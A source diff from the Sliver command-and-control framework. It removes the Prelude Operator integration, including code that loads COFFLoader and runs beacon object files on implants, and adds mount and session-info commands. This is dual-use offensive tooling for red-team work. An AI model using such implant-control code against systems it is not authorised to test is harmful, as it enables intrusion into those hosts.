This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -20,7 +38,7 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for name, _ := range builds.Configs {
|
||||
for name := range builds.Configs {
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
|
||||
@@ -20,8 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -56,7 +54,3 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile with name '%s'", name)
|
||||
}
|
||||
}
|
||||
|
||||
func buildImplantName(name string) string {
|
||||
return strings.TrimSuffix(name, filepath.Ext(name))
|
||||
}
|
||||
@@ -64,7 +64,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -78,6 +78,7 @@ var (
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -380,6 +381,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
|
||||
`
|
||||
|
||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
|
||||
|
||||
@@ -97,5 +97,18 @@ func SliverCommands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd}
|
||||
infoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "Get session info",
|
||||
Long: help.GetHelpFor([]string{consts.InfoStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
InfoCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.InfoHelpGroup,
|
||||
}
|
||||
flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd, infoCmd}
|
||||
}
|
||||
@@ -1,4 +0,0 @@
|
||||
Prelude Operator
|
||||
=================
|
||||
|
||||
Connection code for [Prelude Operator](https://www.prelude.org/)
|
||||
@@ -1,45 +0,0 @@
|
||||
package operator
|
||||
|
||||
import (
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
operatorCmd := &cobra.Command{
|
||||
Use: consts.PreludeOperatorStr,
|
||||
Short: "Manage connection to Prelude's Operator",
|
||||
Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
OperatorCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
|
||||
operatorConnectCmd := &cobra.Command{
|
||||
Use: consts.ConnectStr,
|
||||
Short: "Connect with Prelude's Operator",
|
||||
Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ConnectCmd(cmd, con, args)
|
||||
},
|
||||
Args: cobra.ExactArgs(1),
|
||||
}
|
||||
operatorCmd.AddCommand(operatorConnectCmd)
|
||||
flags.Bind("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents")
|
||||
f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
|
||||
f.StringP("range", "r", "sliver", "Agents range")
|
||||
})
|
||||
carapace.Gen(operatorConnectCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)"))
|
||||
|
||||
return []*cobra.Command{operatorCmd}
|
||||
}
|
||||
@@ -1,84 +0,0 @@
|
||||
package operator
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
url := args[0]
|
||||
aesKey, _ := cmd.Flags().GetString("aes-key")
|
||||
agentRange, _ := cmd.Flags().GetString("range")
|
||||
skipExisting, _ := cmd.Flags().GetBool("skip-existing")
|
||||
|
||||
config := &prelude.OperatorConfig{
|
||||
Range: agentRange,
|
||||
OperatorURL: url,
|
||||
RPC: con.Rpc,
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
implantMapper := prelude.InitImplantMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get session list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, session := range sessions.Sessions {
|
||||
if !session.IsDead {
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get beacon list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(beacons.Beacons) > 0 {
|
||||
con.PrintInfof("Adding existing beacons ...\n")
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package operator
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
)
|
||||
|
||||
func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if prelude.ImplantMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
}
|
||||
@@ -58,7 +58,7 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
|
||||
if username == "" || password == "" {
|
||||
con.PrintErrorf("Pou must provide a username and password\n")
|
||||
con.PrintErrorf("You must provide a username and password\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -25,6 +25,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/c2profiles"
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
@@ -36,7 +37,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -91,7 +91,6 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
armory.Commands,
|
||||
update.Commands,
|
||||
operators.Commands,
|
||||
operator.Commands,
|
||||
creds.Commands,
|
||||
crack.Commands,
|
||||
)
|
||||
@@ -101,6 +100,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
jobs.Commands,
|
||||
websites.Commands,
|
||||
wireguard.Commands,
|
||||
c2profiles.Commands,
|
||||
)
|
||||
|
||||
// Payloads
|
||||
|
||||
+48
-26
@@ -35,7 +35,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -268,14 +267,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
@@ -295,13 +286,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintErrorf("Active session disconnected")
|
||||
}
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.RemoveImplant(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator", session.Name)
|
||||
}
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
@@ -311,16 +295,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
|
||||
@@ -984,5 +958,53 @@ var asciiLogos = []string{
|
||||
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
|
||||
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
|
||||
` + "`------'`------'`------'`------'`------'`------'" + `
|
||||
` + Normal,
|
||||
|
||||
Purple + `
|
||||
****@@ @@****
|
||||
@@@@@@***@ @***@@@@@@
|
||||
@%%@@@%%#***@ @***#%%@@@%%@
|
||||
%%%%%##%%%%****@ @****%%%%##%%%%%
|
||||
%%%%#####%%%%#*###@ @#####%%%%#####%%%%
|
||||
@%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@
|
||||
%%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@
|
||||
#%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%%
|
||||
%#%===++@*####%@@@@###### ######@@@@%####*@++===%%%
|
||||
@#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@
|
||||
#@----%=+*%%%%@@@%%%####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@#
|
||||
#%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%#
|
||||
%+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+%
|
||||
@=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@
|
||||
-----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==-----
|
||||
%----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----%
|
||||
=--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--=
|
||||
+-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-=
|
||||
-----==++**#%######################%@@@%%%%@@@%######################%#**++==-----
|
||||
=--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--=
|
||||
%-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%#######@@@%+==-%
|
||||
@=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@
|
||||
@@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@
|
||||
@%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@
|
||||
%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%%
|
||||
%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*%
|
||||
@%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@
|
||||
%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%%
|
||||
@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@
|
||||
#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%#
|
||||
@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@
|
||||
@%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@
|
||||
@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@
|
||||
@@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@
|
||||
@@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@
|
||||
@%%%% %@@@@@@@@@@@@@ %%%%@
|
||||
@@ @::@@@@@@@@@@::@ @@
|
||||
-::::::@@@@:::::::
|
||||
*-----========-----+
|
||||
@###%%%@@@@%%%###@
|
||||
@%%%%%%@
|
||||
` + Normal,
|
||||
}
|
||||
@@ -145,6 +145,7 @@ const (
|
||||
TrafficEncodersStr = "traffic-encoders"
|
||||
C2ProfileStr = "c2profiles"
|
||||
ImportC2ProfileStr = "import"
|
||||
ExportC2ProfileStr = "export"
|
||||
|
||||
// Generic.
|
||||
|
||||
@@ -161,6 +162,11 @@ const (
|
||||
TablesStr = "tables"
|
||||
DetailsStr = "details"
|
||||
GraphStr = "graph"
|
||||
EnableStr = "enable"
|
||||
DisableStr = "disable"
|
||||
ModifyStr = "modify"
|
||||
RefreshStr = "refresh"
|
||||
ResetStr = "reset"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -223,6 +229,7 @@ const (
|
||||
ChmodStr = "chmod"
|
||||
ChownStr = "chown"
|
||||
ChtimesStr = "chtimes"
|
||||
MountStr = "mount"
|
||||
|
||||
MemfilesStr = "memfiles"
|
||||
|
||||
@@ -285,9 +292,8 @@ const (
|
||||
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
GetPrivsStr = "getprivs"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
@@ -1,175 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
coffLoaderName = "coff-loader"
|
||||
loaderEntryPoint = "LoadAndRun"
|
||||
bofEntryPoint = "go"
|
||||
)
|
||||
|
||||
type bofArgs struct {
|
||||
ArgType string `json:"type"`
|
||||
Value interface{} `json:"value"`
|
||||
}
|
||||
|
||||
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
if !isLoaderLoaded(implant, rpc) {
|
||||
err = registerLoader(implant, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
bofArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
for _, a := range args {
|
||||
switch a.ArgType {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddInt(uint32(v))
|
||||
}
|
||||
case "string":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddString(v)
|
||||
}
|
||||
case "wstring":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddWString(v)
|
||||
}
|
||||
case "short":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddShort(uint16(v))
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
extArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
parsedArgs, err := bofArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddString(bofEntryPoint)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(bof)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
extArgsBuffer, err := extArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
ServerStore: false,
|
||||
Args: extArgsBuffer,
|
||||
Export: loaderEntryPoint,
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
var coffLoaderPath string
|
||||
|
||||
switch implant.GetArch() {
|
||||
case "amd64":
|
||||
coffLoaderPath = "COFFLoader.x64.dll"
|
||||
case "386":
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := os.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
Data: loaderData,
|
||||
OS: implant.GetOS(),
|
||||
Init: "",
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if resp.Response != nil && resp.Response.Err != "" {
|
||||
return errors.New(resp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
|
||||
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, ext := range extList.Names {
|
||||
if ext == coffLoaderName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,206 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
|
||||
// to a Prelude Operator implant with a TCP transport.
|
||||
type OperatorImplantBridge struct {
|
||||
Conn *net.Conn
|
||||
Implant ActiveImplant
|
||||
RPC rpcpb.SliverRPCClient
|
||||
PBeacon OperatorBeacon
|
||||
BeaconCallback func(string, func(*clientpb.BeaconTask))
|
||||
Config AgentConfig
|
||||
|
||||
recv chan []byte
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
|
||||
return &OperatorImplantBridge{
|
||||
Conn: c,
|
||||
Implant: a,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
BeaconCallback: callback,
|
||||
PBeacon: pbeacon,
|
||||
recv: make(chan []byte),
|
||||
send: make(chan []byte),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) register() {
|
||||
data, err := json.Marshal(a.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
a.register()
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
}
|
||||
}()
|
||||
for {
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
